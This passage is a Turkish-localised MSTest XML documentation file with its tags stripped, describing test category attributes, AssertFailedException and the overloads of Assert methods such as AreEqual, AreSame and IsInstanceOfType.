izlemeleri günlüğe kaydetmesini/yazmasını sağlar. - - - - - LogMessage işleyicisi. - - Günlüğe kaydedilecek ileti. - - - - Dinlenecek olay. Birim testi yazıcı bir ileti yazdığında oluşturulur. - Genellikle bağdaştırıcı tarafından kullanılır. - - - - - İletileri günlüğe kaydetmek için çağrılacak test yazıcısı API'si. - - Yer tutucuları olan dize biçimi. - Yer tutucu parametreleri. - - - - TestCategory özniteliği; bir birim testinin kategorisini belirtmek için kullanılır. - - - - - sınıfının yeni bir örneğini başlatır ve kategoriyi teste uygular. - - - Test Kategorisi. - - - - - Teste uygulanan test kategorilerini alır. - - - - - "Category" özniteliğinin temel sınıfı - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - sınıfının yeni bir örneğini başlatır. - Kategoriyi teste uygular. TestCategories tarafından döndürülen - dizeler /category komutu içinde testleri filtrelemek için kullanılır - - - - - Teste uygulanan test kategorisini alır. - - - - - AssertFailedException sınıfı. Test çalışmasının başarısız olduğunu göstermek için kullanılır - - - - - sınıfının yeni bir örneğini başlatır. - - İleti. - Özel durum. - - - - sınıfının yeni bir örneğini başlatır. - - İleti. - - - - sınıfının yeni bir örneğini başlatır. - - - - - Birim testleri içindeki çeşitli koşulları test etmeye yönelik yardımcı - sınıf koleksiyonu. Test edilen koşul karşılanmazsa bir özel durum - oluşturulur. - - - - - Assert işlevselliğinin tekil örneğini alır. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Belirtilen koşulun true olup olmadığını test eder ve koşul false ise - bir özel durum oluşturur. - - - Testte true olması beklenen koşul. - - - Thrown if is false. - - - - - Belirtilen koşulun true olup olmadığını test eder ve koşul false ise - bir özel durum oluşturur. - - - Testte true olması beklenen koşul. - - - Şu durumda özel duruma dahil edilecek ileti - false. İleti test sonuçlarında gösterilir. - - - Thrown if is false. - - - - - Belirtilen koşulun true olup olmadığını test eder ve koşul false ise - bir özel durum oluşturur. - - - Testte true olması beklenen koşul. - - - Şu durumda özel duruma dahil edilecek ileti - false. İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is false. - - - - - Belirtilen koşulun false olup olmadığını test eder ve koşul true ise - bir özel durum oluşturur. - - - Testte false olması beklenen koşul. - - - Thrown if is true. - - - - - Belirtilen koşulun false olup olmadığını test eder ve koşul true ise - bir özel durum oluşturur. - - - Testte false olması beklenen koşul. - - - Şu durumda özel duruma dahil edilecek ileti - true. İleti test sonuçlarında gösterilir. - - - Thrown if is true. - - - - - Belirtilen koşulun false olup olmadığını test eder ve koşul true ise - bir özel durum oluşturur. - - - Testte false olması beklenen koşul. - - - Şu durumda özel duruma dahil edilecek ileti - true. İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is true. - - - - - Belirtilen nesnenin null olup olmadığını test eder ve değilse bir - özel durum oluşturur. - - - Testte null olması beklenen nesne. - - - Thrown if is not null. - - - - - Belirtilen nesnenin null olup olmadığını test eder ve değilse bir - özel durum oluşturur. - - - Testte null olması beklenen nesne. - - - Şu durumda özel duruma dahil edilecek ileti - null değil. İleti test sonuçlarında gösterilir. - - - Thrown if is not null. - - - - - Belirtilen nesnenin null olup olmadığını test eder ve değilse bir - özel durum oluşturur. - - - Testte null olması beklenen nesne. - - - Şu durumda özel duruma dahil edilecek ileti - null değil. İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not null. - - - - - Belirtilen dizenin null olup olmadığını test eder ve null ise bir özel durum - oluşturur. - - - Testte null olmaması beklenen nesne. - - - Thrown if is null. - - - - - Belirtilen dizenin null olup olmadığını test eder ve null ise bir özel durum - oluşturur. - - - Testte null olmaması beklenen nesne. - - - Şu durumda özel duruma dahil edilecek ileti - null. İleti test sonuçlarında gösterilir. - - - Thrown if is null. - - - - - Belirtilen dizenin null olup olmadığını test eder ve null ise bir özel durum - oluşturur. - - - Testte null olmaması beklenen nesne. - - - Şu durumda özel duruma dahil edilecek ileti - null. İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is null. - - - - - Belirtilen her iki nesnenin de aynı nesneye başvurup başvurmadığını test eder - ve iki giriş aynı nesneye başvurmuyorsa bir özel durum oluşturur. - - - Karşılaştırılacak birinci nesne. Testte beklenen değerdir. - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Thrown if does not refer to the same object - as . - - - - - Belirtilen her iki nesnenin de aynı nesneye başvurup başvurmadığını test eder - ve iki giriş aynı nesneye başvurmuyorsa bir özel durum oluşturur. - - - Karşılaştırılacak birinci nesne. Testte beklenen değerdir. - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şununla aynı değil: . İleti test - sonuçlarında gösterilir. - - - Thrown if does not refer to the same object - as . - - - - - Belirtilen her iki nesnenin de aynı nesneye başvurup başvurmadığını test eder - ve iki giriş aynı nesneye başvurmuyorsa bir özel durum oluşturur. - - - Karşılaştırılacak birinci nesne. Testte beklenen değerdir. - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şununla aynı değil: . İleti test - sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if does not refer to the same object - as . - - - - - Belirtilen nesnelerin farklı nesnelere başvurup başvurmadığını test eder - ve iki giriş aynı nesneye başvuruyorsa bir özel durum oluşturur. - - - Karşılaştırılacak birinci nesne. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Thrown if refers to the same object - as . - - - - - Belirtilen nesnelerin farklı nesnelere başvurup başvurmadığını test eder - ve iki giriş aynı nesneye başvuruyorsa bir özel durum oluşturur. - - - Karşılaştırılacak birinci nesne. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şununla aynıdır: . İleti test sonuçlarında - gösterilir. - - - Thrown if refers to the same object - as . - - - - - Belirtilen nesnelerin farklı nesnelere başvurup başvurmadığını test eder - ve iki giriş aynı nesneye başvuruyorsa bir özel durum oluşturur. - - - Karşılaştırılacak birinci nesne. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şununla aynıdır: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if refers to the same object - as . - - - - - Belirtilen değerlerin eşit olup olmadığını test eder ve iki değer eşit değilse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - The type of values to compare. - - - Karşılaştırılacak birinci değer. Testte bu değer beklenir. - - - Karşılaştırılacak ikinci değer. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Thrown if is not equal to . - - - - - Belirtilen değerlerin eşit olup olmadığını test eder ve iki değer eşit değilse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - The type of values to compare. - - - Karşılaştırılacak birinci değer. Testte bu değer beklenir. - - - Karşılaştırılacak ikinci değer. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not equal to - . - - - - - Belirtilen değerlerin eşit olup olmadığını test eder ve iki değer eşit değilse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - The type of values to compare. - - - Karşılaştırılacak birinci değer. Testte bu değer beklenir. - - - Karşılaştırılacak ikinci değer. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to - . - - - - - Belirtilen değerlerin eşit olup olmadığını test eder ve iki değer eşitse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - The type of values to compare. - - - Karşılaştırılacak birinci değer. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci değer. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Thrown if is equal to . - - - - - Belirtilen değerlerin eşit olup olmadığını test eder ve iki değer eşitse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - The type of values to compare. - - - Karşılaştırılacak birinci değer. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci değer. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen değerlerin eşit olup olmadığını test eder ve iki değer eşitse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - The type of values to compare. - - - Karşılaştırılacak birinci değer. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci değer. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen nesnelerin eşit olup olmadığını test eder ve iki nesne eşit değilse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - Karşılaştırılacak birinci nesne. Testte beklenen nesnedir. - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Thrown if is not equal to - . - - - - - Belirtilen nesnelerin eşit olup olmadığını test eder ve iki nesne eşit değilse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - Karşılaştırılacak birinci nesne. Testte beklenen nesnedir. - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not equal to - . - - - - - Belirtilen nesnelerin eşit olup olmadığını test eder ve iki nesne eşit değilse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - Karşılaştırılacak birinci nesne. Testte beklenen nesnedir. - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to - . - - - - - Belirtilen nesnelerin eşit olup olmadığını test eder ve iki nesne eşitse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - Karşılaştırılacak birinci nesne. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Thrown if is equal to . - - - - - Belirtilen nesnelerin eşit olup olmadığını test eder ve iki nesne eşitse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - Karşılaştırılacak birinci nesne. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen nesnelerin eşit olup olmadığını test eder ve iki nesne eşitse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - Karşılaştırılacak birinci nesne. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen float'ların eşit olup olmadığını test eder ve eşit değilse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci kayan nokta. Testte bu kayan nokta beklenir. - - - Karşılaştırılacak ikinci kayan nokta. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - şundan fazla: . - - - Thrown if is not equal to - . - - - - - Belirtilen float'ların eşit olup olmadığını test eder ve eşit değilse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci kayan nokta. Testte bu kayan nokta beklenir. - - - Karşılaştırılacak ikinci kayan nokta. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - şundan fazla: . - - - Şu durumda özel duruma dahil edilecek ileti - şundan farklıdır: şundan fazla: - . İleti test sonuçlarında gösterilir. - - - Thrown if is not equal to - . - - - - - Belirtilen float'ların eşit olup olmadığını test eder ve eşit değilse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci kayan nokta. Testte bu kayan nokta beklenir. - - - Karşılaştırılacak ikinci kayan nokta. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - şundan fazla: . - - - Şu durumda özel duruma dahil edilecek ileti - şundan farklıdır: şundan fazla: - . İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to - . - - - - - Belirtilen float'ların eşit olup olmadığını test eder ve eşitse - bir özel durum oluşturur. - - - Karşılaştırılacak ilk kayan nokta. Testte bu kayan noktanın - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci kayan nokta. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - en fazla . - - - Thrown if is equal to . - - - - - Belirtilen float'ların eşit olup olmadığını test eder ve eşitse - bir özel durum oluşturur. - - - Karşılaştırılacak ilk kayan nokta. Testte bu kayan noktanın - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci kayan nokta. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - en fazla . - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: veya şu değerden daha az farklı: - . İleti test sonuçlarında gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen float'ların eşit olup olmadığını test eder ve eşitse - bir özel durum oluşturur. - - - Karşılaştırılacak ilk kayan nokta. Testte bu kayan noktanın - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci kayan nokta. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - en fazla . - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: veya şu değerden daha az farklı: - . İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen double'ların eşit olup olmadığını test eder ve eşit değilse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci çift. Testte bu çift beklenir. - - - Karşılaştırılacak ikinci çift. Test kapsamındaki kod tarafından bu çift oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - şundan fazla: . - - - Thrown if is not equal to - . - - - - - Belirtilen double'ların eşit olup olmadığını test eder ve eşit değilse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci çift. Testte bu çift beklenir. - - - Karşılaştırılacak ikinci çift. Test kapsamındaki kod tarafından bu çift oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - şundan fazla: . - - - Şu durumda özel duruma dahil edilecek ileti - şundan farklıdır: şundan fazla: - . İleti test sonuçlarında gösterilir. - - - Thrown if is not equal to . - - - - - Belirtilen double'ların eşit olup olmadığını test eder ve eşit değilse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci çift. Testte bu çift beklenir. - - - Karşılaştırılacak ikinci çift. Test kapsamındaki kod tarafından bu çift oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - şundan fazla: . - - - Şu durumda özel duruma dahil edilecek ileti - şundan farklıdır: şundan fazla: - . İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to . - - - - - Belirtilen double'ların eşit olup olmadığını test eder ve eşitse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci çift. Testte bu çiftin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci çift. Test kapsamındaki kod tarafından bu çift oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - en fazla . - - - Thrown if is equal to . - - - - - Belirtilen double'ların eşit olup olmadığını test eder ve eşitse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci çift. Testte bu çiftin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci çift. Test kapsamındaki kod tarafından bu çift oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - en fazla . - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: veya şu değerden daha az farklı: - . İleti test sonuçlarında gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen double'ların eşit olup olmadığını test eder ve eşitse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci çift. Testte bu çiftin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci çift. Test kapsamındaki kod tarafından bu çift oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - en fazla . - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: veya şu değerden daha az farklı: - . İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşit değilse bir - özel durum oluşturur. Karşılaştırma için sabit kültür kullanılır. - - - Karşılaştırılacak ilk dize. Testte bu dize beklenir. - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Thrown if is not equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşit değilse bir - özel durum oluşturur. Karşılaştırma için sabit kültür kullanılır. - - - Karşılaştırılacak ilk dize. Testte bu dize beklenir. - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşit değilse bir - özel durum oluşturur. Karşılaştırma için sabit kültür kullanılır. - - - Karşılaştırılacak ilk dize. Testte bu dize beklenir. - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşit değilse bir - özel durum oluşturur. - - - Karşılaştırılacak ilk dize. Testte bu dize beklenir. - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Kültüre özel karşılaştırma bilgileri veren bir CultureInfo nesnesi. - - - Thrown if is not equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşit değilse bir - özel durum oluşturur. - - - Karşılaştırılacak ilk dize. Testte bu dize beklenir. - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Kültüre özel karşılaştırma bilgileri veren bir CultureInfo nesnesi. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşit değilse bir - özel durum oluşturur. - - - Karşılaştırılacak ilk dize. Testte bu dize beklenir. - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Kültüre özel karşılaştırma bilgileri veren bir CultureInfo nesnesi. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşitse bir özel durum - oluşturur. Karşılaştırma için sabit kültür kullanılır. - - - Karşılaştırılacak birinci dize. Testte bu dizenin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Thrown if is equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşitse bir özel durum - oluşturur. Karşılaştırma için sabit kültür kullanılır. - - - Karşılaştırılacak birinci dize. Testte bu dizenin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşitse bir özel durum - oluşturur. Karşılaştırma için sabit kültür kullanılır. - - - Karşılaştırılacak birinci dize. Testte bu dizenin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşitse bir özel durum - oluşturur. - - - Karşılaştırılacak birinci dize. Testte bu dizenin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Kültüre özel karşılaştırma bilgileri veren bir CultureInfo nesnesi. - - - Thrown if is equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşitse bir özel durum - oluşturur. - - - Karşılaştırılacak birinci dize. Testte bu dizenin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Kültüre özel karşılaştırma bilgileri veren bir CultureInfo nesnesi. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşitse bir özel durum - oluşturur. - - - Karşılaştırılacak birinci dize. Testte bu dizenin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Kültüre özel karşılaştırma bilgileri veren bir CultureInfo nesnesi. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen nesnenin beklenen türde bir örnek olup olmadığını test eder ve - beklenen tür, nesnenin devralma hiyerarşisinde değilse - bir özel durum oluşturur. - - - Testte belirtilen türde olması beklenen nesne. - - - Beklenen tür:. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Belirtilen nesnenin beklenen türde bir örnek olup olmadığını test eder ve - beklenen tür, nesnenin devralma hiyerarşisinde değilse - bir özel durum oluşturur. - - - Testte belirtilen türde olması beklenen nesne. - - - Beklenen tür:. - - - Şu durumda özel duruma dahil edilecek ileti - şunun bir örneği değil: . İleti - test sonuçlarında gösterilir. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Belirtilen nesnenin beklenen türde bir örnek olup olmadığını test eder ve - beklenen tür, nesnenin devralma hiyerarşisinde değilse - bir özel durum oluşturur. - - - Testte belirtilen türde olması beklenen nesne. - - - Beklenen tür:. - - - Şu durumda özel duruma dahil edilecek ileti - şunun bir örneği değil: . İleti - test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Belirtilen nesnenin yanlış türde bir örnek olup olmadığını test eder - ve belirtilen tür nesnenin devralma hiyerarşisinde ise - bir özel durum oluşturur. - - - Testte beklenen türde olmaması beklenen nesne. - - - Tür olmamalıdır. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Belirtilen nesnenin yanlış türde bir örnek olup olmadığını test eder - ve belirtilen tür nesnenin devralma hiyerarşisinde ise - bir özel durum oluşturur. - - - Testte beklenen türde olmaması beklenen nesne. - - - Tür olmamalıdır. - - - Şu durumda özel duruma dahil edilecek ileti - şunun bir örneğidir: . İleti test - sonuçlarında gösterilir. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Belirtilen nesnenin yanlış türde bir örnek olup olmadığını test eder - ve belirtilen tür nesnenin devralma hiyerarşisinde ise - bir özel durum oluşturur. - - - Testte beklenen türde olmaması beklenen nesne. - - - Tür olmamalıdır. - - - Şu durumda özel duruma dahil edilecek ileti - şunun bir örneğidir: . İleti test - sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Bir AssertFailedException oluşturur. - - - Always thrown. - - - - - Bir AssertFailedException oluşturur. - - - Özel duruma eklenecek ileti. İleti test sonuçlarında - gösterilir. - - - Always thrown. - - - - - Bir AssertFailedException oluşturur. - - - Özel duruma eklenecek ileti. İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Always thrown. - - - - - Bir AssertInconclusiveException oluşturur. - - - Always thrown. - - - - - Bir AssertInconclusiveException oluşturur. - - - Özel duruma eklenecek ileti. İleti test sonuçlarında - gösterilir. - - - Always thrown. - - - - - Bir 